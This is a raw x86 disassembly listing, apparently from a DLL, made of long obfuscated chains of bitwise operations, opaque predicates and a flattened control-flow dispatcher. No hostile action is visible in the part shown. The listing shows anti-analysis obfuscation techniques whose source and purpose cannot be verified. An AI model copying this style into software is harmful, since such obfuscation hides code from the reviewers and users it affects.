xor eax, 0x1800090
xor esi, 0x8020200
and esi, 0x5e0bdf20
and eax, 0xa1f420df
or eax, esi
mov edx, eax
mov eax, dword [esp]
and eax, 0x662ea0c
and ecx, 0xf99d15f3
or ecx, eax
mov ebp, ecx
xor ebp, 0xf99d15f3
mov eax, ecx
xor eax, 0x2006808
xor ecx, 0xfcff83b5
and ecx, ebp
and eax, 0xfa9d69b9
and ebp, 0x5629646
or ebp, eax
mov esi, edx
xor esi, 0xa1f420df
or ebp, ecx
mov eax, ebp
not eax
and eax, 0x74f169ee
and ebp, 0x8b0e9611
or ebp, eax
xor edx, 0x5e0bdf20
mov eax, edx
mov edi, edx
mov dword [esp], edx
and eax, 0x628788ca
mov edx, esi
and edx, 0x9d787735
or edx, eax
mov eax, edx
xor eax, 0x84400225
xor edx, 0x628788ca
mov ecx, edx
and ecx, 0x3b3c7d58
and eax, 0xc4c382a7
or eax, ecx
mov ecx, edi
and ecx, esi
mov edi, ecx
not edi
or edx, edi
and edi, 0x3b3c7d58
and ecx, 0xc4c382a7
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov dword [esp + 0x1c], edx
mov ecx, ebp
xor ecx, 0x8b0e9611
xor ebp, 0x74f169ee
mov eax, ebp
and eax, 0x7850801b
mov edi, ecx
and edi, 0x87af7fe4
or edi, eax
mov eax, edi
xor eax, 0x818c27a0
xor edi, 0x60000018
and edi, 0x6623585c
and eax, 0x99dca7a3
or eax, edi
mov dword [esp + 4], eax
mov eax, edx
not eax
mov dword [esp + 0x14], eax
and eax, 0x738ada21
mov edi, edx
and edi, 0x8c7525de
or edi, eax
mov eax, edi
xor eax, 0x8c7525de
xor edi, 0x53804a01
and edi, 0x5fb44f99
mov ebx, eax
and ebx, 0xa04bb066
or ebx, edi
xor ebx, 0x59ea5193
and eax, 0x65e1e0a
or eax, ebx
and esi, 0x94e6d0ba
mov edx, dword [esp]
mov edi, edx
and edi, 0x6b192f45
or edi, esi
xor edi, 0x6d47314f
and edx, 0xf9a1e1f5
or edx, edi
mov dword [esp], edx
mov edx, dword [esp + 4]
mov ebx, edx
xor ebx, 0x6623585c
mov dword [esp + 0x20], ebx
mov esi, edx
xor esi, 0x99dca7a3
mov dword [esp + 8], esi
and esi, 0x65e1e0a
and ebx, 0xf9a1e1f5
or ebx, esi
mov dword [esp + 0x24], ebx
mov esi, ebp
and esi, 0xf9a1e1f5
and ecx, 0x65e1e0a
or ecx, esi
xor ebp, ecx
and ebp, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0xb645b59c
xor eax, 0x63922ed3
and eax, esi
and esi, 0x49ba4a63
or esi, ecx
mov ecx, esi
xor ecx, 0x49ba4a63
mov dword [esp + 0x30], ecx
mov ebx, esi
xor ebx, 0x2a2864b0
and ebx, ecx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x2e6f8c3b
and ebx, 0xd19073c4
or ebx, edi
mov edi, eax
not edi
or ecx, edi
and edi, 0x2e6f8c3b
and eax, 0xd19073c4
or eax, edi
xor eax, ebx
not ecx
or ecx, eax
mov ebx, dword [esp]
mov edx, ebx
not edx
mov eax, edx
or eax, 0x23022490
and eax, 0x2b43b4b8
mov edi, ebx
and edi, 0x942c4104
or edi, eax
mov eax, ebx
or eax, 0x8419028
and eax, 0x2b43b4b8
mov ebx, edx
and ebx, 0x40900a43
or ebx, eax
xor ebx, edi
xor ebx, ecx
xor esi, 0xb645b59c
mov eax, esi
and eax, 0xc0adf488
mov ecx, dword [esp + 0x30]
and ecx, 0x3f520b77
or ecx, eax
or esi, edx
and edx, 0xc0adf488
mov eax, dword [esp]
and eax, 0x3f520b77
or eax, edx
xor eax, ecx
not esi
or esi, eax
not esi
or esi, ebx
mov edx, dword [esp + 0x24]
not edx
mov ebx, dword [esp + 8]
or edx, ebx
mov eax, ebp
not eax
xor ebp, eax
and ebp, edx
or edx, eax
xor ebp, eax
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x93bae511
and ebp, 0x6c451aee
or ebp, ecx
xor ebp, edx
or eax, edx
xor ebp, 0x6c451aee
not eax
or eax, ebp
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x365e3e4d
xor edx, eax
not edx
and edx, esi
and esi, 0xc9a1c1b2
or esi, ecx
xor esi, eax
xor esi, 0x365e3e4d
and esi, eax
or edx, esi
mov edi, dword [esp + 0x14]
mov eax, edi
and eax, 0x106349dd
mov ebp, dword [esp + 0x1c]
mov ecx, ebp
and ecx, 0xef9cb622
or ecx, eax
mov eax, dword [esp + 4]
xor eax, 0x76401181
and eax, ebx
mov ebx, dword [esp + 0x20]
mov esi, ebx
and esi, 0xef9cb622
or esi, eax
mov eax, esi
xor eax, esi
not eax
and eax, ecx
xor eax, esi
mov ecx, ebp
and ecx, 0xad2f20b3
and edi, 0x52d0df4c
or edi, ecx
or ebp, ebx
and ebx, 0xad2f20b3
mov ecx, dword [esp + 8]
and ecx, 0x52d0df4c
or ecx, ebx
xor ecx, edi
not ebp
or ebp, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x393cb46b
and eax, 0xc6c34b94
or eax, esi
mov esi, ebp
not esi
or ecx, ebp
and ebp, 0x393cb46b
and esi, 0xc6c34b94
or esi, ebp
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x8201149a
and esi, 0xaaa3b69b
mov edi, eax
and eax, 0x51180100
or eax, esi
or edi, 0x28a2a201
and edi, 0xaaa3b69b
and ecx, 0x4444864
or ecx, edi
xor ecx, eax
mov eax, ecx
xor eax, 0x86455cfe
mov esi, ecx
xor esi, 0x11b22201
and esi, 0x13f2624f
xor ecx, 0xb920ca75
and ecx, eax
and eax, 0xec0d9db0
or eax, esi
mov edi, edx
not edi
mov esi, eax
xor esi, 0xec0d9db0
or esi, edi
and edi, 0x3f65968b
and edx, 0xc09a6974
or edx, edi
mov edi, eax
xor edi, 0x1360020b
or edi, 0xc09a6974
xor eax, 0x51400
mov ebx, edi
and ebx, 0xac0a8080
and eax, 0x1365160b
or eax, ebx
mov ebx, ecx
not ebx
or edi, ebx
and ebx, 0xac0a8080
and ecx, 0x53f57f7f
or ecx, ebx
xor ecx, eax
not edi
or edi, ecx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, edx
xor ecx, edi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x3c436ca0
and ecx, 0xc3bc935f
or ecx, edx
mov edx, esi
not edx
or eax, esi
and esi, 0x3c436ca0
and edx, 0xc3bc935f
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, eax
mov esi, edx
and esi, 0xa522d393
and eax, 0x5add2c6c
or eax, esi
xor eax, 0x16987b12
or eax, edx
and edx, 0xec7b1b12
and ecx, 0x1384e4ed
or ecx, edx
mov edx, ecx
xor edx, 0x118040cd
xor ecx, 0xec7b1b12
and edx, 0x5da240dd
mov esi, ecx
and esi, 0xa25dbf22
or esi, edx
xor esi, 0xee18e85c
and ecx, 0xb3baa881
or ecx, esi
mov esi, ecx
xor esi, ecx
not esi
and esi, eax
xor esi, ecx
or ecx, eax
mov edx, esi
not edx
mov eax, edx
and eax, 0xabfc5b57
and esi, 0x5403a4a8
or esi, eax
xor esi, ecx
xor esi, 0x5403a4a8
or edx, ecx
not edx
or edx, esi
mov ecx, edx
mov eax, edx
xor eax, 0x4927c139
and eax, edx
mov esi, edx
or esi, 0xb6d83ec6
not ecx
mov edx, esi
and edx, 0x3339de69
and ecx, 0x48060110
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x3339de69
and eax, 0xccc62196
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov ebp, esi
mov edx, dword [esp + 0xc]
mov ecx, edx
and ecx, 0x7c30b860
mov ebx, dword [esp + 0x10]
mov eax, ebx
and eax, 0x83cf479f
or eax, ecx
xor eax, 0x7c30b861
mov ecx, edx
or eax, edx
mov esi, edx
and edx, 0x5ba8dcbe
mov ecx, ebx
and ecx, 0xa4572341
or ecx, edx
mov edx, ecx
xor edx, 0x2289000
or esi, 0x863cb240
or edx, 0x29424094
and edx, 0xaf7ef2d4
and ecx, 0x82a
or ecx, edx
and esi, 0xaf7ef2d4
and ebx, 0x50810501
or ebx, esi
xor ebx, ecx
mov ecx, ebx
xor ecx, 0x863cba6b
xor ebx, 0x79c34594
mov edx, ebx
and edx, 0x946e2ed
mov esi, ecx
and esi, 0xf6b91d12
or esi, edx
mov edx, esi
xor edx, 0xf6b91d12
mov edi, eax
not edi
and edi, eax
or edx, eax
xor eax, 0xb40db490
xor edi, eax
mov eax, esi
xor eax, 0x8424265
or eax, 0x400b410
xor esi, 0x2000900
and eax, 0x4cf2f677
and esi, 0x3000908
or esi, eax
or ebx, 0x48f24267
and ebx, 0x4cf2f677
and ecx, 0xb00d0080
or ecx, ebx
xor ecx, esi
xor ecx, edi
mov eax, ecx
not eax
mov esi, eax
and esi, 0xc446c366
and ecx, 0x3bb93c99
or ecx, esi
xor ecx, edx
xor ecx, 0x3bb93c99
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xbb4d52bd
mov esi, ecx
and esi, 0x4c240937
and eax, 0xb3dbf6c8
or eax, esi
xor eax, 0x4c240937
or eax, ecx
and ecx, 0x44b2ad42
or ecx, edx
mov esi, ecx
xor esi, 0x4480a500
xor ecx, 0x980042a1
and ecx, 0x98324ae3
and esi, 0x67cdb51c
or esi, ecx
mov ecx, esi
xor ecx, 0x60cc0418
xor esi, 0x98324ae3
mov edx, esi
or edx, eax
and esi, 0x8733b1e4
and ecx, 0x78cc4e1b
or ecx, esi
xor ecx, eax
mov eax, ecx
xor eax, 0x78cc4e1b
xor ecx, 0x8733b1e4
mov esi, ecx
and esi, 0x58b71429
and eax, 0xa748ebd6
or eax, esi
xor eax, edx
xor eax, 0xa748ebd6
or ecx, edx
not ecx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x70c2e0a
and eax, ecx
not ecx
mov esi, ecx
and esi, 0xc3db2dcf
and edx, 0x3c24d230
or edx, esi
mov esi, edx
xor esi, 0x4000000
xor edx, 0x3082c0a
or edx, 0xf8f3d1f5
mov edi, edx
and edi, 0xf2e43b10
and esi, 0x508040a
or esi, edi
mov edi, eax
not edi
or edx, edi
and edi, 0xf2e43b10
and eax, 0xd1bc4ef
or eax, edi
xor eax, esi
not edx
or edx, eax
xor edx, 0xf8f3d1f5
or edx, ecx
mov eax, edx
not eax
mov ebx, eax
mov ecx, ebp
mov dword [esp], ebp
not ebp
mov eax, ebp
and eax, 0xa53cc692
and ecx, 0x5ac3396d
or ecx, eax
mov eax, ecx
xor eax, 0x58821948
xor ecx, 0x50c0012
and ecx, 0x74d2037
and eax, 0xf8b2dfc8
or eax, ecx
mov edi, eax
mov esi, edx
xor esi, 0xffbe0303
and esi, ebx
mov eax, edx
and eax, 0x47146352
mov ecx, ebx
and ebx, 0xb8eb9cad
or ebx, eax
not ebx
or ebx, edx
mov dword [esp + 0x10], ebx
and edx, 0x3f297ad1
mov ebx, ecx
and ebx, 0xc0d6852e
or ebx, edx
mov eax, ebx
xor eax, 0x8428
xor ebx, 0x178d0
or ebx, 0xffbe0303
mov ecx, ebx
and ecx, 0x66446845
and eax, 0x194b8
or eax, ecx
mov ecx, esi
not ecx
or ebx, ecx
and ecx, 0x66446845
and esi, 0x99bb97ba
or esi, ecx
xor esi, eax
not ebx
or ebx, esi
mov ecx, ebx
mov ebx, edi
mov dword [esp + 4], edi
mov edx, edi
xor edx, 0x74d2037
mov dword [esp + 8], edx
xor ebx, 0xf8b2dfc8
mov eax, ebx
and eax, 0xf5df2cae
mov edi, edx
and edi, 0xa20d351
or edi, eax
mov edx, ecx
xor edx, 0xffbe0303
mov eax, ecx
xor eax, 0x41fcfc
mov dword [esp + 0xc], eax
mov esi, eax
and esi, 0x10eaf8e0
xor ecx, 0x9ac3672
and ecx, edx
mov dword [esp + 0x14], ecx
mov eax, edx
and eax, 0xef15071f
or eax, esi
mov esi, eax
xor esi, 0xef15071f
xor eax, 0x408840
and eax, 0xc458a5e
mov ecx, esi
and ecx, 0xf3ba75a1
or ecx, eax
xor ecx, 0xb4ae16f3
and esi, 0xb8eb9cad
or esi, ecx
or ebp, 0x47146352
mov eax, ebp
not eax
and ebp, 0xb4c955f0
mov edx, dword [esp]
xor edx, 0x30a0842c
and edx, eax
mov dword [esp], edx
mov edx, eax
and edx, 0x822880d
or edx, ebp
mov ebp, edi
xor ebp, 0xb2cb4ffc
or ebp, ebx
xor edx, 0x4b36aa0f
mov ecx, ebp
xor ecx, 0x8d5b79c3
mov eax, ecx
and eax, ebp
mov edi, edx
or edx, ebp
not ebp
and ecx, ebp
and edi, 0x70a0863c
or dword [esp], edi
mov edi, eax
not edi
mov ebp, edi
and ebp, 0x5d8b4284
and eax, 0xa274bd7b
or eax, ebp
mov ebp, ecx
not ebp
or edi, ebp
and ebp, 0x5d8b4284
and ecx, 0xa274bd7b
or ecx, ebp
xor ecx, eax
not edi
or edi, ecx
xor edi, dword [esp]
xor edi, 0x2040000
not edx
or edx, edi
mov eax, esi
not eax
and eax, esi
mov ebp, dword [esp + 0x10]
mov ecx, ebp
not ecx
and ecx, ebp
mov edi, ebp
or ebp, esi
xor esi, 0xdff00136
xor eax, esi
xor edi, 0xdff00136
xor ecx, edi
mov esi, ecx
xor esi, ecx
not esi
and esi, eax
xor esi, ecx
not ebp
or ebp, esi
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x72747c04
mov esi, ebp
and esi, 0x8d8b83fb
or esi, ecx
mov ecx, esi
xor ecx, 0x8d8b83fb
xor esi, 0xab8cec02
and esi, ecx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x2defc26d
and esi, 0xd2103d92
or esi, edi
or eax, 0xd9f89006
or ecx, eax
and eax, 0x2defc26d
and ebp, 0x2002d90
or ebp, eax
xor ebp, esi
not ecx
or ecx, ebp
xor edx, 0xd9f89006
mov ebp, ecx
xor ebp, ecx
not ebp
and ebp, edx
xor ebp, ecx
mov eax, dword [esp + 4]
xor eax, 0xf15f1546
and eax, ebx
mov ecx, dword [esp + 8]
and ecx, 0x9edca8e
or ecx, eax
mov edx, dword [esp + 0xc]
or ebx, edx
and edx, 0xf6123571
mov eax, dword [esp + 0x14]
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xdd0919ea
and eax, ebx
and ebx, 0x22f6e615
or ebx, ecx
mov ecx, ebx
xor ecx, 0x2224c011
xor ebx, 0xdd0919ea
mov edx, eax
not edx
mov esi, ebx
and esi, 0xcd23784
and ecx, 0xf32dc87b
or ecx, esi
or ebx, edx
and edx, 0xcd23784
and eax, 0xf32dc87b
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov eax, ebp
not eax
mov ecx, ebx
not ecx
and ebx, eax
or eax, ecx
not eax
and ecx, ebp
or ecx, ebx
or ecx, eax
mov eax, ecx
mov edx, ecx
mov edi, ecx
mov esi, ecx
xor esi, 0xb847c9ef
and esi, ecx
not ecx
mov ebx, ecx
and ebx, 0x4488c4
and edi, 0xb803412b
or edi, ebx
mov ebx, ecx
xor edi, 0xb803412b
or esi, edi
not esi
or esi, ecx
and ecx, 0x55c8bdf8
and eax, 0xaa374207
or eax, ecx
mov ecx, eax
xor ecx, 0x88250000
xor eax, 0x882988
and eax, 0x229a6b8f
and ecx, 0xdd659470
or ecx, eax
mov ebp, ecx
xor ebp, 0x58448440
or ebp, 0x87a11030
and ebx, 0xefe738f9
and edx, 0x1018c706
or edx, ebx
mov ebx, edx
xor ebx, 0x1018c706
xor edx, 0x66c43010
and edx, 0x76ccb610
mov eax, ebx
and eax, 0x893349ef
or eax, edx
mov edx, ebp
not edx
xor eax, 0xe9259df
and ebx, 0x785eefcf
or ebx, eax
mov edi, ebx
not edi
and ebp, 0x7e95b6c8
xor ecx, 0x600ca743
and ecx, edx
mov eax, edx
and eax, 0x4a4907
or eax, ebp
and ebx, 0xcc733a1f
mov edx, edi
and edx, 0x338cc5e0
or edx, ebx
mov ebx, edx
xor ebx, 0x338cc5e0
mov ebp, edx
xor ebp, 0x8964e6d3
and ebp, ebx
and edi, 0xbae82333
or edi, ebp
mov dword [esp + 4], edi
mov edi, eax
xor edi, 0x816a4937
mov dword [esp + 8], edi
xor eax, 0x7e95b6c8
mov ebp, eax
or ebp, 0xbae82333
mov dword [esp], ebp
and dword [esp], 0xc0dce187
and edi, 0x4020c48
add edi, dword [esp]
mov dword [esp], edi
mov edi, ecx
not edi
or ebp, edi
and edi, 0xc1ddf187
and ecx, 0x38020e48
or ecx, edi
xor ecx, dword [esp]
not ebp
or ebp, ecx
xor ebp, dword [esp + 4]
mov ecx, eax
and ecx, 0x70400a8e
mov edi, dword [esp + 8]
and edi, 0x8dbef571
or edi, ecx
xor edx, 0xcc733a1f
or eax, edx
and edx, 0x72410a8e
and ebx, 0x8dbef571
or ebx, edx
xor ebx, edi
not eax
or eax, ebx
not eax
or eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0xc0634888
mov edi, eax
or edi, 0x40c9210
and edi, 0xc46fda98
and ecx, 0x20000002
or ecx, edi
and edx, 0xc46fda98
and eax, 0x1b902565
or eax, edx
xor eax, ecx
mov ecx, eax
xor ecx, 0x67c258ba
mov edx, eax
xor edx, 0xc1330878
and edx, ecx
or ecx, 0x590eaf3d
mov edi, edx
not edi
mov ebx, ecx
and ebx, 0x833dd478
and eax, 0x24c00082
or eax, ebx
or ecx, edi
and edi, 0x833dd478
and edx, 0x7cc22b87
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0x590eaf3d
mov edx, ecx
xor edx, 0xe14966d2
and edx, eax
xor ecx, 0x20000000
and ecx, 0x20000128
and eax, 0x9847c8c7
or eax, ecx
xor eax, 0x9847c8c7
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xee6a5d7a
and eax, 0x1195a285
or eax, edx
xor eax, 0xa9d26b6a
xor ecx, eax
and ecx, eax
mov ebx, ecx
mov eax, ecx
mov edx, ecx
not edx
and ebx, 0xb27cc68d
mov edi, edx
and edi, 0x4d833972
or edi, ebx
mov ebp, esi
not ebp
or eax, ebp
mov ebx, esi
mov dword [esp], esi
xor esi, 0x4bb59e39
and esi, ebp
and ebp, 0xb27cc68d
and ebx, 0x4d833972
or ebx, ebp
xor ebx, edi
not eax
or eax, ebx
mov edi, ecx
xor edi, 0xb44a61c6
and edi, ecx
and edx, 0x4426080
and ecx, 0xb0080146
or ecx, edx
xor ecx, 0xb0080146
or edi, ecx
mov ecx, dword [esp]
and ecx, 0xb44a61c6
or esi, ecx
xor esi, edi
mov ecx, esi
not ecx
xor esi, ecx
and esi, eax
or eax, ecx
xor esi, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xfbec3d77
and esi, 0x413c288
or esi, edx
xor esi, eax
xor esi, 0x413c288
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x204809
mov esi, ecx
and esi, 0x31012342
or esi, edx
xor esi, 0x31012342
mov edi, eax
and edi, 0xcede94b4
or edi, esi
mov edx, edi
xor edx, 0xb847c9ef
and edx, edi
and ecx, 0x67376544
mov esi, eax
and esi, 0x98c89abb
or esi, ecx
xor esi, 0x208f5354
and eax, 0x47b83610
or eax, esi
xor eax, edx
and edx, eax
mov esi, eax
not esi
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0x48cf2cc4
and edx, 0xb730d33b
or edx, edi
or ecx, eax
and eax, 0x48cf2cc4
and esi, 0xb730d33b
or esi, eax
xor esi, edx
not ecx
or ecx, esi
mov edi, ecx
not edi
mov eax, edi
and eax, 0x233198b5
mov edx, ecx
mov dword [esp], ecx
and edx, 0xdcce674a
or edx, eax
mov eax, edx
xor eax, 0x14462400
xor edx, 0x23110a0
and edx, 0xcab953ea
and eax, 0x3546ac15
or eax, edx
mov edx, eax
xor edx, 0x4019532a
xor eax, 0x2504ac04
and eax, 0xafa4acc4
and edx, 0x505b533b
or edx, eax
mov eax, edx
xor eax, 0x40120139
and eax, 0xc91225b9
xor edx, 0x26a48844
and edx, 0x36edda46
or edx, eax
mov ebx, edx
xor ebx, 0xc91225b9
and ebx, edx
mov eax, ecx
and eax, 0x2b06ff43
mov edx, edi
and edx, 0xd4f900bc
or edx, eax
xor edx, 0x1deb2505
mov eax, edi
and eax, 0x36edda46
or eax, edx
mov esi, eax
not esi
and eax, 0x8b530429
mov edx, esi
and edx, 0x74acfbd6
or edx, eax
xor edx, 0x74acfbd6
mov eax, edx
and eax, 0xdf7240c8
and esi, 0x208dbf37
or esi, eax
mov ebp, ebx
xor ebp, 0xdf7240c8
mov eax, ebp
and ebp, ebx
not ebx
mov dword [esp + 4], ebx
and eax, ebx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x63711d5e
and eax, 0x9c8ee2a1
or eax, ecx
mov ecx, ebp
not ecx
or ebx, ecx
and ecx, 0x63711d5e
and ebp, 0x9c8ee2a1
or ebp, ecx
xor ebp, eax
not ebx
or ebx, ebp
mov eax, esi
xor eax, esi
not eax
and eax, ebx
xor eax, esi
or edx, dword [esp + 4]
not edx
or edx, eax
mov esi, edx
xor esi, 0x36edda46
xor edx, 0xc91225b9
mov ecx, dword [esp]
or ecx, esi
or edi, edx
mov eax, ecx
xor eax, edi
or edi, ecx
not edi
or edi, eax
and edx, 0x430efebd
and esi, 0xbcf10142
or esi, edx
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xd83642e5
and edi, 0x27c9bd1a
or edi, eax
mov eax, esi
xor eax, 0x24c10102
xor esi, 0x400642a5
and esi, 0xd83642e5
and eax, 0x27c9bd1a
or eax, esi
xor eax, edi
xor ecx, eax
test ecx, eax
sete al
setne dl
cmp dword [0x10047904], 0xa
setge ah
setl cl
mov ch, cl
inc ch
and ch, cl
xor ch, 1
mov dh, cl
xor dh, ch
or ch, cl
xor ch, 1
or ch, dh
mov bl, ch
xor bl, 1
mov dh, bl
and dh, ch
xor bl, dh
xor dh, 1
or dh, ch
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
mov ch, dh
and ch, bl
xor ch, 1
mov bh, bl
xor bh, ch
or ch, bl
xor ch, 1
or ch, bh
mov bl, ch
xor bl, 1
mov bh, bl
and bh, ch
xor bh, 1
or bh, bl
xor bh, 1
or bh, ch
mov bl, bh
xor bl, 1
mov ch, bl
and ch, bh
xor ch, 1
or ch, bh
xor ch, 1
or ch, bl
mov bh, ch
and bh, dl
xor ch, 1
and ch, al
or ch, bh
mov bh, al
xor bh, bl
or bl, al
mov byte [esp], al
xor bl, 1
or bl, bh
xor ch, 1
mov bh, ch
xor bh, bl
or ch, bl
xor ch, 1
or ch, bh
mov bl, ch
xor bl, 1
and bl, ch
xor bl, 1
mov bh, ch
xor bh, bl
or bl, ch
xor bl, 1
or bl, bh
or dh, dl
mov ch, bl
xor ch, dh
xor dh, 1
xor ch, 1
mov bh, bl
or bh, dh
xor dh, bl
and dh, bh
xor bh, 1
or bh, ch
mov ch, bh
xor ch, 1
mov bl, bh
and bl, dh
xor dh, 1
and ch, dh
or ch, bl
or dh, bh
xor ch, 1
mov bl, ch
xor bl, dh
or ch, dh
xor ch, 1
or ch, bl
mov ebx, ecx
xor bl, al
mov dh, dl
and dh, bl
xor dh, 1
or dl, cl
mov bh, dl
or bh, dh
xor dl, 1
xor dh, dl
mov al, dh
xor al, bh
or dh, bh
xor dh, 1
or dh, al
mov al, byte [esp]
or ah, al
xor ah, 1
or ah, dl
or cl, al
xor cl, 1
or cl, bl
xor ah, 1
mov al, ah
xor al, cl
xor al, 1
or ah, cl
mov cl, al
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov cl, dh
xor cl, 1
mov al, dh
xor al, ah
mov dl, al
xor dl, cl
and dl, al
xor cl, ah
or ah, dh
xor ah, 1
and cl, dh
or cl, ah
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
mov ah, dl
xor ah, cl
and ah, dl
and cl, dl
or cl, al
or cl, ah
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov dl, ch
xor dl, 1
mov eax, ecx
xor al, dl
mov ah, al
xor ah, 1
mov dh, ah
and dh, dl
xor dh, 1
mov bl, dh
xor bl, ah
or dh, ah
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
mov ah, bl
and ah, dh
xor bl, ah
xor ah, 1
or ah, dh
xor ah, 1
or ah, bl
and dl, ch
xor dl, 1
mov dh, ch
xor dh, dl
or dl, ch
and al, cl
xor cl, 1
xor dl, 1
or dl, dh
mov ch, cl
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
xor al, 1
mov ecx, edx
or cl, al
xor al, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, ah
xor ah, 1
mov cl, ah
and cl, al
or cl, dl
xor al, ah
and al, ah
or al, cl
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov edi, 0x20bc5b26
mov ecx, 0xa2b5ab21
cmovne edi, ecx
test dl, 1
cmove edi, ecx
test al, 1
mov eax, 0x20bc5b26
cmove edi, eax
jmp 0x10008b80
cmp edi, 0x7627a79
je 0x1001d868
cmp edi, 0x8cd9c7b
jne 0x10008b80
mov eax, dword [0x10047900]
lea ebx, [eax + 1]
imul ebx, eax
mov eax, ebx
not eax
mov ecx, eax
mov esi, eax
mov edx, eax
and edx, 0xb3a5e4cd
mov ecx, ebx
and ecx, 0x4c5a1b32
or ecx, edx
xor ecx, 0xb3a5e4cd
or ecx, eax
mov edx, eax
mov ebp, eax
and edx, 0xe0202042
mov esi, ebx
and esi, 0x1480d524
or esi, edx
mov edx, esi
xor edx, 0x4808124
xor esi, 0xe37e02db
or eax, 0xf0205442
and esi, 0xf37e56db
and edx, 0x480a124
or edx, esi
and eax, 0xf37e56db
mov esi, ebx
and esi, 0x8010800
or esi, eax
xor esi, edx
mov eax, esi
xor eax, 0x4a0281
xor esi, 0x24009024
and esi, 0x2f15983c
and eax, 0xd0ea67c3
or eax, esi
mov edx, eax
xor edx, 0x800a2380
xor eax, 0x2204801c
and eax, 0x72e4c45f
and edx, 0x8d1b3ba0
or edx, eax
mov eax, edx
xor eax, 0x8d1b3ba0
mov esi, eax
xor esi, ecx
and esi, eax
xor edx, 0x72e4c45f
xor eax, edx
and eax, ecx
xor eax, edx
or eax, esi
mov ecx, eax
xor ecx, 0x9275fe2
and ecx, eax
not eax
and eax, 0x9275fe2
or eax, ecx
not ecx
and ecx, 0xf6d8a01d
and eax, 0x9275fe2
or eax, ecx
mov esi, eax
not esi
mov edx, esi
and edx, 0x156e6995
mov ecx, eax
and ecx, 0xea91966a
or ecx, edx
mov edx, ecx
xor edx, 0xea91966a
xor ecx, 0x70cc4f39
and ecx, edx
mov edx, ecx
not edx
mov edi, edx
and edi, 0x202c0d0
and ecx, 0x74043426
or ecx, edi
mov dword [esp], ebp
mov edi, ebp
or esi, 0x65a226ac
or edx, esi
and esi, 0x202c0d0
and eax, 0x10041002
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
and eax, 0x120040b4
xor edx, 0x49042
xor eax, 0x81800a4
and edx, 0x6406b442
or edx, eax
and edi, 0x3bdd7c12
mov eax, ebx
xor eax, 0x3bdd7c12
and eax, ebx
mov dword [esp + 8], ebx
or eax, edi
mov ecx, eax
xor ecx, 0x4520004
xor eax, 0xb224771b
mov edi, eax
and edi, 0x598db8f8
and ecx, 0xa6724707
or ecx, edi
mov edi, ebx
and edi, 0x598db8f8
and ebp, 0xa6724707
or ebp, edi
mov edi, edx
xor edi, 0x1a1840b4
xor edx, 0xe5e7bf4b
xor ebp, ecx
not ebp
or ebp, eax
mov eax, edx
and eax, 0x61fc9a12
mov ecx, edi
and ecx, 0x160264e4
or ecx, eax
mov eax, ecx
xor eax, 0xa00048c
xor ecx, 0x40800010
or ecx, 0x14260a01
and ecx, 0x54a60a51
and eax, 0x2a18048e
or eax, ecx
mov ebx, edx
or ebx, 0x40800050
and ebx, 0x54a60a51
mov ecx, edi
and ecx, 0xf020
or ecx, ebx
xor ecx, eax
mov esi, ebp
not ebp
mov eax, esi
mov dword [esp + 0xc], esi
and eax, 0xfbb99d6
mov ebx, ebp
and ebx, 0xf0446629
or ebx, eax
xor ebx, 0xf0446629
and esi, ebp
or esi, ebx
mov dword [esp + 0x10], esi
mov esi, ecx
xor esi, 0x9567fb21
xor ecx, 0x6a9804de
mov eax, ecx
mov dword [esp + 4], ecx
and eax, 0x64361ea8
mov ebx, esi
and ebx, 0x9bc8e157
or ebx, eax
mov dword [esp + 0x18], ebx
and edi, 0x36005052
mov eax, edx
and eax, 0x4836a7a4
or eax, edi
xor eax, 0x76421800
and edx, 0x40834053
or edx, eax
mov eax, ecx
and eax, 0x2a2c7cf8
and esi, 0xd4d38307
or esi, eax
mov edi, dword [esp + 0x10]
xor esi, edi
mov eax, edi
not edi
mov ecx, edi
and ecx, 0xf85dff51
and eax, 0x7a200ae
or eax, ecx
xor eax, 0xc72140f5
mov ecx, eax
xor ecx, edi
and ecx, eax
mov ebx, dword [esp + 0xc]
mov eax, ebx
and eax, 0x7ebe10a7
and ebp, 0x8141ef58
or ebp, eax
xor ebp, 0xbe3d50fc
xor ebx, ebp
and ebx, ebp
mov eax, dword [esp + 0x18]
xor eax, 0xa4b45ef3
or eax, dword [esp + 4]
mov dword [esp + 0x18], eax
mov eax, edx
not eax
or edx, 0x81080008
